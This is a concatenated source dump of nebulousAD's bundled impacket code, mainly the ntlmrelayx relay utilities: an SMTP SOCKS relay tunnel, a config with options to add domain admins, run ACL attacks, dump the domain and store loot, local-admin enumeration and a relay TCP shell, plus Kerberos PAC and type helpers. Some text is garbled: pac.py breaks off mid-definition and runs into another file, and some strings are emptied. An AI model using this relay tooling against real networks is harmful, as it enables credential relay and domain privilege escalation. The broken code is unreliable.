self.relaySocket = self.session.sock 121 | self.relaySocketFile = self.session.file 122 | return True 123 | 124 | def tunnelConnection(self): 125 | doneIndicator = EOL+'.'+EOL 126 | while True: 127 | data = self.socksSocket.recv(self.packetSize) 128 | # If this returns with an empty string, it means the socket was closed 129 | if data == '': 130 | return 131 | info = data.strip().split(' ') 132 | # See if a QUIT command was sent, in which case we want to close 133 | # the connection to the client but keep the relayed connection alive 134 | if info[0].upper() == 'QUIT': 135 | LOG.debug('Client sent QUIT command, closing socks connection to client') 136 | self.socksSocket.send('221 2.0.0 Service closing transmission channel%s' % EOL) 137 | return 138 | self.relaySocket.send(data) 139 | data = self.relaySocket.recv(self.packetSize) 140 | self.socksSocket.send(data) 141 | if info[0].upper() == 'DATA': 142 | LOG.debug('SMTP Socks entering DATA transfer mode') 143 | # DATA transfer, forward to the server till done 144 | while data[-5:] != doneIndicator: 145 | prevdata = data 146 | data = self.socksSocket.recv(self.packetSize) 147 | self.relaySocket.send(data) 148 | if len(data) < 5: 149 | # This can happen, the .CRLF will be in a packet after the first CRLF 150 | # we stitch them back together for analysis 151 | data = prevdata + data 152 | LOG.debug('SMTP Socks DATA transfer mode finished') 153 | # DATA done, forward server reply 154 | data = self.relaySocket.recv(self.packetSize) 155 | self.socksSocket.send(data) 156 | 157 | def recvPacketClient(self): 158 | data = self.socksSocket.recv(self.packetSize) 159 | return data 160 | 161 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/config.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Configuration class which holds the config specified on the 14 | # command line, this can be passed to the tools' servers and clients 15 | class NTLMRelayxConfig: 16 | def __init__(self): 17 | 18 | self.daemon = True 19 | 20 | # Set the value of the interface ip address 21 | self.interfaceIp = None 22 | 23 | self.listeningPort = None 24 | 25 | self.domainIp = None 26 | self.machineAccount = None 27 | self.machineHashes = None 28 | self.target = None 29 | self.mode = None 30 | self.redirecthost = None 31 | self.outputFile = None 32 | self.attacks = None 33 | self.lootdir = None 34 | self.randomtargets = False 35 | self.encoding = None 36 | self.ipv6 = False 37 | 38 | #WPAD options 39 | self.serve_wpad = False 40 | self.wpad_host = None 41 | self.wpad_auth_num = 0 42 | self.smb2support = False 43 | 44 | #WPAD options 45 | self.serve_wpad = False 46 | self.wpad_host = None 47 | self.wpad_auth_num = 0 48 | self.smb2support = False 49 | 50 | # SMB options 51 | self.exeFile = None 52 | self.command = None 53 | self.interactive = False 54 | self.enumLocalAdmins = False 55 | 56 | # LDAP options 57 | self.dumpdomain = True 58 | self.addda = True 59 | self.aclattack = True 60 | self.validateprivs = True 61 | self.escalateuser = None 62 | 63 | # MSSQL options 64 | self.queries = [] 65 | 66 | # Registered protocol clients 67 | self.protocolClients = {} 68 | 69 | # SOCKS options 70 | self.runSocks = False 71 | self.socksServer = None 72 | 73 | 74 | def setSMB2Support(self, value): 75 | self.smb2support = value 76 | 77 | def setProtocolClients(self, clients): 78 | self.protocolClients = clients 79 | 80 | def setInterfaceIp(self, ip): 81 | self.interfaceIp = ip 82 | 83 | def setListeningPort(self, port): 84 | self.listeningPort = port 85 | 86 | def setRunSocks(self, socks, server): 87 | self.runSocks = socks 88 | self.socksServer = server 89 | 90 | def setOutputFile(self, outputFile): 91 | self.outputFile = outputFile 92 | 93 | def setTargets(self, target): 94 | self.target = target 95 | 96 | def setExeFile(self, filename): 97 | self.exeFile = filename 98 | 99 | def setCommand(self, command): 100 | self.command = command 101 | 102 | def setEnumLocalAdmins(self, enumLocalAdmins): 103 | self.enumLocalAdmins = enumLocalAdmins 104 | 105 | def setEncoding(self, encoding): 106 | self.encoding = encoding 107 | 108 | def setMode(self, mode): 109 | self.mode = mode 110 | 111 | def setAttacks(self, attacks): 112 | self.attacks = attacks 113 | 114 | def setLootdir(self, lootdir): 115 | self.lootdir = lootdir 116 | 117 | def setRedirectHost(self,redirecthost): 118 | self.redirecthost = redirecthost 119 | 120 | def setDomainAccount( self, machineAccount, machineHashes, domainIp): 121 | self.machineAccount = machineAccount 122 | self.machineHashes = machineHashes 123 | self.domainIp = domainIp 124 | 125 | def setRandomTargets(self, randomtargets): 126 | self.randomtargets = randomtargets 127 | 128 | def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess): 129 | self.dumpdomain = dumpdomain 130 | self.addda = addda 131 | self.aclattack = aclattack 132 | self.validateprivs = validateprivs 133 | self.escalateuser = escalateuser 134 | self.addcomputer = addcomputer 135 | self.delegateaccess = delegateaccess 136 | 137 | def setMSSQLOptions(self, queries): 138 | self.queries = queries 139 | 140 | def setInteractive(self, interactive): 141 | self.interactive = interactive 142 | 143 | def setIMAPOptions(self, keyword, mailbox, dump_all, dump_max): 144 | self.keyword = keyword 145 | self.mailbox = mailbox 146 | self.dump_all = dump_all 147 | self.dump_max = dump_max 148 | 149 | def setIPv6(self, use_ipv6): 150 | self.ipv6 = use_ipv6 151 | 152 | def setWpadOptions(self, wpad_host, wpad_auth_num): 153 | if wpad_host != None: 154 | self.serve_wpad = True 155 | self.wpad_host = wpad_host 156 | self.wpad_auth_num = wpad_auth_num 157 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Ronnie Flathers / @ropnop 11 | # 12 | # Description: 13 | # Helpful enum methods for discovering local admins through SAMR and LSAT 14 | 15 | from nebulousAD.modimpacket.dcerpc.v5 import transport, lsat, lsad, samr 16 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 17 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import DCERPCException 18 | from nebulousAD.modimpacket.dcerpc.v5.samr import SID_NAME_USE 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=544) 48 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 49 | memberSids = [] 50 | for member in resp['Members']['Sids']: 51 | memberSids.append(member['SidPointer'].formatCanonical()) 52 | dce.disconnect() 53 | return memberSids 54 | 55 | def __resolveSids(self, sids): 56 | dce = self.__getDceBinding(self.__lsaBinding) 57 | dce.connect() 58 | dce.bind(lsat.MSRPC_UUID_LSAT) 59 | resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 60 | policyHandle = resp['PolicyHandle'] 61 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 62 | names = [] 63 | for n, item in enumerate(resp['TranslatedNames']['Names']): 64 | names.append(u"{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'].encode('utf-16-le'), item['Name'])) 65 | dce.disconnect() 66 | return names 67 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SSL utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Various functions and classes for SSL support: 14 | # - generating certificates 15 | # - creating SSL capable SOCKS protocols 16 | # 17 | # Most of the SSL generation example code comes from the pyopenssl examples 18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 19 | # 20 | # Made available under the Apache license by the pyopenssl team 21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 22 | import os 23 | from OpenSSL import crypto, SSL 24 | from nebulousAD.modimpacket import LOG 25 | 26 | # This certificate is not supposed to be exposed on the network 27 | # but only used for the local SOCKS plugins 28 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 29 | def generateImpacketCert(certname='/tmp/impacket.crt'): 30 | # Create a private key 31 | pkey = crypto.PKey() 32 | pkey.generate_key(crypto.TYPE_RSA, 2048) 33 | 34 | # Create the certificate 35 | cert = crypto.X509() 36 | cert.gmtime_adj_notBefore(0) 37 | # Valid for 5 years 38 | cert.gmtime_adj_notAfter(60*60*24*365*5) 39 | subj = cert.get_subject() 40 | subj.CN = 'impacket' 41 | cert.set_pubkey(pkey) 42 | cert.sign(pkey, "sha256") 43 | # We write both from the same file 44 | with open(certname, 'w') as certfile: 45 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 46 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 47 | LOG.debug('Wrote certificate to %s' % certname) 48 | 49 | # Class to wrap the client socket in SSL when serving as a SOCKS server 50 | class SSLServerMixin(object): 51 | # This function will wrap the socksSocket in an SSL layer 52 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 53 | # Create a context, we don't really care about the SSL/TLS 54 | # versions used since it is only intended for local use and thus 55 | # doesn't have to be super-secure 56 | ctx = SSL.Context(SSL.SSLv23_METHOD) 57 | try: 58 | ctx.use_privatekey_file(cert) 59 | ctx.use_certificate_file(cert) 60 | except SSL.Error: 61 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 62 | generateImpacketCert(cert) 63 | ctx.use_privatekey_file(cert) 64 | ctx.use_certificate_file(cert) 65 | 66 | sslSocket = SSL.Connection(ctx, self.socksSocket) 67 | sslSocket.set_accept_state() 68 | 69 | # Now set this property back to the SSL socket instead of the regular one 70 | self.socksSocket = sslSocket 71 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/targetsutils.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Target utilities 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Classes for handling specified targets and keeping state of which targets have been processed 15 | # Format of targets are based in URI syntax 16 | # scheme://netloc/path 17 | # where: 18 | # scheme: the protocol to target (e.g. 'smb', 'mssql', 'all') 19 | # netloc: int the form of domain\username@host:port (domain\username and port are optional, and don't forget 20 | # to escape the '\') 21 | # path: only used by specific attacks (e.g. HTTP attack). 22 | # 23 | # Some examples: 24 | # 25 | # smb://1.1.1.1: It will target host 1.1.1.1 (protocol SMB) with any user connecting 26 | # mssql://contoso.com\joe@10.1.1.1: It will target host 10.1.1.1 (protocol MSSQL) only when contoso.com\joe is 27 | # connecting. 28 | # 29 | # ToDo: 30 | # [ ]: Expand the ALL:// to all the supported protocols 31 | 32 | 33 | import os 34 | import random 35 | import time 36 | from urlparse import urlparse 37 | from nebulousAD.modimpacket import LOG 38 | from threading import Thread 39 | 40 | 41 | class TargetsProcessor: 42 | def __init__(self, targetListFile=None, singleTarget=None, protocolClients=None): 43 | # Here we store the attacks that already finished, mostly the ones that have usernames, since the 44 | # other ones will never finish. 45 | self.finishedAttacks = [] 46 | self.protocolClients = protocolClients 47 | if targetListFile is None: 48 | self.filename = None 49 | self.originalTargets = self.processTarget(singleTarget, protocolClients) 50 | else: 51 | self.filename = targetListFile 52 | self.originalTargets = [] 53 | self.readTargets() 54 | 55 | self.candidates = [x for x in self.originalTargets] 56 | 57 | @staticmethod 58 | def processTarget(target, protocolClients): 59 | # Check if we have a single target, with no URI form 60 | if target.find('://') <= 0: 61 | # Target is a single IP, assuming it's SMB. 62 | return [urlparse('smb://%s' % target)] 63 | 64 | # Checks if it needs to expand the list if there's a all://* 65 | retVals = [] 66 | if target[:3].upper() == 'ALL': 67 | strippedTarget = target[3:] 68 | for protocol in protocolClients: 69 | retVals.append(urlparse('%s%s' % (protocol, strippedTarget))) 70 | return retVals 71 | else: 72 | return [urlparse(target)] 73 | 74 | def readTargets(self): 75 | try: 76 | with open(self.filename,'r') as f: 77 | self.originalTargets = [] 78 | for line in f: 79 | target = line.strip() 80 | if target != '': 81 | self.originalTargets.extend(self.processTarget(target, self.protocolClients)) 82 | except IOError, e: 83 | LOG.error("Could not open file: %s - " % (self.filename, str(e))) 84 | 85 | if len(self.originalTargets) == 0: 86 | LOG.critical("Warning: no valid targets specified!") 87 | 88 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks] 89 | 90 | def logTarget(self, target, gotRelay = False, gotUsername = None): 91 | # If the target has a username, we can safely remove it from the list. Mission accomplished. 92 | if gotRelay is True: 93 | if target.username is not None: 94 | self.finishedAttacks.append(target) 95 | elif gotUsername is not None: 96 | # We have data about the username we relayed the connection for, 97 | # for a target that didn't have username specified. 98 | # Let's log it 99 | newTarget = urlparse('%s://%s@%s%s' % (target.scheme, gotUsername, target.netloc, target.path)) 100 | self.finishedAttacks.append(newTarget) 101 | 102 | def getTarget(self, choose_random=False): 103 | if len(self.candidates) > 0: 104 | if choose_random is True: 105 | return random.choice(self.candidates) 106 | else: 107 | return self.candidates.pop() 108 | else: 109 | if len(self.originalTargets) > 0: 110 | self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks] 111 | else: 112 | #We are here, which means all the targets are already exhausted by the client 113 | LOG.info("All targets processed!") 114 | 115 | return self.candidates.pop() 116 | 117 | class TargetsFileWatcher(Thread): 118 | def __init__(self,targetprocessor): 119 | Thread.__init__(self) 120 | self.targetprocessor = targetprocessor 121 | self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime 122 | #print self.lastmtime 123 | 124 | def run(self): 125 | while True: 126 | mtime = os.stat(self.targetprocessor.filename).st_mtime 127 | if mtime > self.lastmtime: 128 | LOG.info('Targets file modified - refreshing') 129 | self.lastmtime = mtime 130 | self.targetprocessor.readTargets() 131 | time.sleep(1.0) 132 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # TCP interactive shell 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Launches a TCP shell for interactive use of clients 14 | # after successful relaying 15 | import socket 16 | #Default listen port 17 | port = 11000 18 | class TcpShell: 19 | def __init__(self): 20 | global port 21 | self.port = port 22 | #Increase the default port for the next attack 23 | port += 1 24 | 25 | def listen(self): 26 | #Set up the listening socket 27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | #Bind on localhost 29 | serversocket.bind(('127.0.0.1', self.port)) 30 | #Don't allow a backlog 31 | serversocket.listen(0) 32 | self.connection, host = serversocket.accept() 33 | #Create a file object from the socket 34 | self.socketfile = self.connection.makefile() -------------------------------------------------------------------------------- /nebulousAD/modimpacket/helper.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # Helper used to build ProtocolPackets 9 | # 10 | # Author: 11 | # Aureliano Calvo 12 | 13 | 14 | import struct 15 | import functools 16 | 17 | import modimpacket.ImpactPacket as ip 18 | 19 | 20 | def rebind(f): 21 | functools.wraps(f) 22 | def rebinder(*args, **kwargs): 23 | return f(*args, **kwargs) 24 | 25 | return rebinder 26 | 27 | class Field(object): 28 | def __init__(self, index): 29 | self.index = index 30 | 31 | def __call__(self, k, d): 32 | getter = rebind(self.getter) 33 | getter_name = "get_" + k 34 | getter.__name__ = getter_name 35 | getter.__doc__ = "Get the %s field" % k 36 | d[getter_name] = getter 37 | 38 | setter = rebind(self.setter) 39 | setter_name = "set_" + k 40 | setter.__name__ = setter_name 41 | setter.__doc__ = "Set the %s field" % k 42 | d["set_" + k] = setter 43 | 44 | d[k] = property(getter, setter, doc="%s property" % k) 45 | 46 | class Bit(Field): 47 | def __init__(self, index, bit_number): 48 | Field.__init__(self, index) 49 | self.mask = 2 ** bit_number 50 | self.off_mask = (~self.mask) & 0xff 51 | 52 | def getter(self, o): 53 | return (o.header.get_byte(self.index) & self.mask) != 0 54 | 55 | def setter(self, o, value=True): 56 | b = o.header.get_byte(self.index) 57 | if value: 58 | b |= self.mask 59 | else: 60 | b &= self.off_mask 61 | 62 | o.header.set_byte(self.index, b) 63 | 64 | class Byte(Field): 65 | 66 | def __init__(self, index): 67 | Field.__init__(self, index) 68 | 69 | def getter(self, o): 70 | return o.header.get_byte(self.index) 71 | 72 | def setter(self, o, value): 73 | o.header.set_byte(self.index, value) 74 | 75 | class Word(Field): 76 | def __init__(self, index, order="!"): 77 | Field.__init__(self, index) 78 | self.order = order 79 | 80 | def getter(self, o): 81 | return o.header.get_word(self.index, self.order) 82 | 83 | def setter(self, o, value): 84 | o.header.set_word(self.index, value, self.order) 85 | 86 | class Long(Field): 87 | def __init__(self, index, order="!"): 88 | Field.__init__(self, index) 89 | self.order = order 90 | 91 | def getter(self, o): 92 | return o.header.get_long(self.index, self.order) 93 | 94 | def setter(self, o, value): 95 | o.header.set_long(self.index, value, self.order) 96 | 97 | class ThreeBytesBigEndian(Field): 98 | def __init__(self, index): 99 | Field.__init__(self, index) 100 | 101 | def getter(self, o): 102 | b=o.header.get_bytes()[self.index:self.index+3].tostring() 103 | #unpack requires a string argument of length 4 and b is 3 bytes long 104 | (value,)=struct.unpack('!L', '\x00'+b) 105 | return value 106 | 107 | def setter(self, o, value): 108 | # clear the bits 109 | mask = ((~0xFFFFFF00) & 0xFF) 110 | masked = o.header.get_long(self.index, ">") & mask 111 | # set the bits 112 | nb = masked | ((value & 0x00FFFFFF) << 8) 113 | o.header.set_long(self.index, nb, ">") 114 | 115 | 116 | class ProtocolPacketMetaklass(type): 117 | def __new__(cls, name, bases, d): 118 | d["_fields"] = [] 119 | items = d.items() 120 | if not object in bases: 121 | bases += (object,) 122 | for k,v in items: 123 | if isinstance(v, Field): 124 | d["_fields"].append(k) 125 | v(k, d) 126 | 127 | d["_fields"].sort() 128 | 129 | def _fields_repr(self): 130 | return " ".join( "%s:%s" % (f, repr(getattr(self, f))) for f in self._fields ) 131 | def __repr__(self): 132 | 133 | return "<%(name)s %(fields)s \nchild:%(r_child)s>" % { 134 | "name": name, 135 | "fields": self._fields_repr(), 136 | "r_child": repr(self.child()), 137 | } 138 | 139 | d["_fields_repr"] = _fields_repr 140 | d["__repr__"] = __repr__ 141 | 142 | return type.__new__(cls, name, bases, d) 143 | 144 | class ProtocolPacket(ip.ProtocolPacket): 145 | __metaclass__ = ProtocolPacketMetaklass 146 | 147 | def __init__(self, buff = None): 148 | ip.ProtocolPacket.__init__(self, self.header_size, self.tail_size) 149 | if buff: 150 | self.load_packet(buff) 151 | 152 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /nebulousAD/modimpacket/krb5/pac.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-PAC] Implementation 11 | # 12 | 13 | from nebulousAD.modimpacket.dcerpc.v5.dtypes import ULONG, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT 14 | from nebulousAD.modimpacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER 15 | from nebulousAD.modimpacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY 16 | from nebulousAD.modimpacket.dcerpc.v5.rpcrt import TypeSerialization1 17 | from nebulousAD.modimpacket.structure import Structure 18 | 19 | ################################################################################ 20 | # CONSTANTS 21 | ################################################################################ 22 | # From https://msdn.microsoft.com/library/aa302203#msdn_pac_credentials 23 | # and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862 24 | PAC_LOGON_INFO = 1 25 | PAC_CREDENTIALS_INFO = 2 26 | PAC_SERVER_CHECKSUM = 6 27 | PAC_PRIVSVR_CHECKSUM = 7 28 | PAC_CLIENT_INFO_TYPE = 10 29 | PAC_DELEGATION_INFO = 11 30 | PAC_UPN_DNS_INFO = 12 31 | 32 | ################################################################################ 33 | # STRUCTURES 34 | ################################################################################ 35 | 36 | PISID = PRPC_SID 37 | 38 | # 2.2.1 KERB_SID_AND_ATTRIBUTES 39 | class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT): 40 | structure = ( 41 | ('Sid', PISID), 42 | ('Attributes', ULONG), 43 | ) 44 | 45 | class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray): 46 | item = KERB_SID_AND_ATTRIBUTES 47 | 48 | class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER): 49 | referent = ( 50 | ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), 51 | ) 52 | 53 | # 2.2.2 GROUP_MEMBERSHIP 54 | from nebulousAD.modimpacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY 55 | 56 | # 2.2.3 DOMAIN_GROUP_MEMBERSHIP 57 | class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT): 58 | structure = ( 59 | ('DomainId', PISID), 60 | ('GroupCount', ULONG), 61 | ('GroupIds', PGROUP_MEMBERSHIP_ARRAY), 62 | ) 63 | 64 | class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray): 65 | item = DOMAIN_GROUP_MEMBERSHIP 66 | 67 | class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER): 68 | referent = ( 69 | ('Data', KERB_SID_AND_ATTRIBUTES_ARRAY), 70 | ) 71 | 72 | # 2.3 PACTYPE 73 | class PACTYPE(Structure): 74 | structure = ( 75 | ('cBuffers', '= 2: 91 | self.components = value[0:-1] 92 | self.realm = value[-1] 93 | else: 94 | raise KerberosException("invalid principal value") 95 | 96 | if type is not None: 97 | self.type = type 98 | 99 | def __eq__(self, other): 100 | if isinstance(other, basestring): 101 | other = Principal(other) 102 | 103 | return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value or \ 104 | other.type == constants.PrincipalNameType.NT_UNKNOWN.value or \ 105 | self.type == other.type) and \ 106 | all(map(lambda a,b: a == b, 107 | self.components, other.components)) and \ 108 | self.realm == other.realm 109 | 110 | def __str__(self): 111 | def quote_component(comp): 112 | return re.sub(r'([\\/@])', r'\\\1', comp) 113 | 114 | ret = "/".join([quote_component(c) for c in self.components]) 115 | if self.realm is not None: 116 | ret += "@" + self.realm 117 | 118 | return ret 119 | 120 | def __repr__(self): 121 | return "Principal((" + repr(self.components) + ", " + \ 122 | repr(self.realm) + "), t=" + str(self.type) + ")" 123 | 124 | def from_asn1(self, data, realm_component, name_component): 125 | name = data.getComponentByName(name_component) 126 | self.type = constants.PrincipalNameType( 127 | name.getComponentByName('name-type')).value 128 | self.components = [ 129 | str(c) for c in name.getComponentByName('name-string')] 130 | self.realm = str(data.getComponentByName(realm_component)) 131 | return self 132 | 133 | def components_to_asn1(self, name): 134 | name.setComponentByName('name-type', int(self.type)) 135 | strings = name.setComponentByName('name-string' 136 | ).getComponentByName('name-string') 137 | for i, c in enumerate(self.components): 138 | strings.setComponentByPosition(i, c) 139 | 140 | return name 141 | 142 | class Address(object): 143 | DIRECTIONAL_AP_REQ_SENDER = struct.pack('!I', 0) 144 | DIRECTIONAL_AP_REQ_RECIPIENT = struct.pack('!I', 1) 145 | 146 | def __init__(self): 147 | self.type = None 148 | self.data = None 149 | 150 | def __str__(self): 151 | family = self.family 152 | 153 | if family is not None: 154 | return str((family, self.address)) 155 | else: 156 | return str((self.type, self.value)) 157 | 158 | @property 159 | def family(self): 160 | if self.type == constants.AddressType.IPv4.value: 161 | return socket.AF_INET 162 | elif self.type == constants.AddressType.IPv4.value: 163 | return socket.AF_INET6 164 | else: 165 | return None 166 | 167 | @property 168 | def address(self): 169 | if self.type == constants.AddressType.IPv4.value: 170 | return socket.inet_pton(self.family, self.data) 171 | elif self.type == constants.AddressType.IPv4.value: 172 | return socket.inet_pton(self.family, self.data) 173 | else: 174 | return None 175 | 176 | def encode(self): 177 | # ipv4-mapped ipv6 addresses must be encoded as ipv4. 178 | pass 179 | 180 | class EncryptedData(object): 181 | def __init__(self): 182 | self.etype = None 183 | self.kvno = None 184 | self.ciphertext = None 185 | 186 | def from_asn1(self, data): 187 | data = _asn1_decode(data, asn1.EncryptedData()) 188 | self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value 189 | kvno = data.getComponentByName('kvno') 190 | if (kvno is None) or (kvno.hasValue() is False): 191 | self.kvno = False 192 | else: 193 | self.kvno = True 194 | self.ciphertext = str(data.getComponentByName('cipher')) 195 | return self 196 | 197 | def to_asn1(self, component): 198 | component.setComponentByName('etype', int(self.etype)) 199 | if self.kvno: 200 | component.setComponentByName('kvno', self.kvno) 201 | component.setComponentByName('cipher', self.ciphertext) 202 | return component 203 | 204 | class Ticket(object): 205 | def __init__(self): 206 | # This is the kerberos version, not the service principal key 207 | # version number. 208 | self.tkt_vno = None 209 | self.service_principal = None 210 | self.encrypted_part = None 211 | 212 | def from_asn1(self, data): 213 | data = _asn1_decode(data, asn1.Ticket()) 214 | self.tkt_vno = int(data.getComponentByName('tkt-vno')) 215 | self.service_principal = Principal() 216 | self.service_principal.from_asn1(data, 'realm', 'sname') 217 | self.encrypted_part = EncryptedData() 218 | self.encrypted_part.from_asn1(data.getComponentByName('enc-part')) 219 | return self 220 | 221 | def to_asn1(self, component): 222 | component.setComponentByName('tkt-vno', 5) 223 | component.setComponentByName('realm', self.service_principal.realm) 224 | asn1.seq_set(component, 'sname', 225 | self.service_principal.components_to_asn1) 226 | asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1) 227 | return component 228 | 229 | def __str__(self): 230 | return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) 231 | 232 | class KerberosTime(object): 233 | INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) 234 | 235 | @staticmethod 236 | def to_asn1(dt): 237 | # A KerberosTime is really just a string, so we can return a 238 | # string here, and the asn1 library will convert it correctly. 239 | 240 | return "%04d%02d%02d%02d%02d%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second) 241 | 242 | @staticmethod 243 | def from_asn1(data): 244 | data = str(data) 245 | year = int(data[0:4]) 246 | month = int(data[4:6]) 247 | day = int(data[6:8]) 248 | hour = int(data[8:10]) 249 | minute = int(data[10:12]) 250 | second = int(data[12:14]) 251 | if data[14] != 'Z': 252 | raise KerberosException("timezone in KerberosTime is not Z") 253 | return datetime.datetime(year, month, day, hour, minute, second) 254 | 255 | if __name__ == '__main__': 256 | # TODO marc: turn this into a real test 257 | print Principal("marc") 258 | print Principal(("marc", None)) 259 | print Principal((("marc",), None)) 260 | print Principal("marc@ATHENA.MIT.EDU") 261 | print Principal("marc", default_realm="ATHENA.MIT.EDU") 262 | print Principal("marc@ATHENA.MIT.EDU", default_realm="EXAMPLE.COM") 263 | print Principal(("marc", "ATHENA.MIT.EDU")) 264 | print Principal((("marc"), "ATHENA.MIT.EDU")) 265 | print Principal("marc/root") 266 | print Principal(("marc", "root", "ATHENA.MIT.EDU")) 267 | print Principal((("marc", "root"), "ATHENA.MIT.EDU")) 268 | print Principal("marc\\/root") 269 | 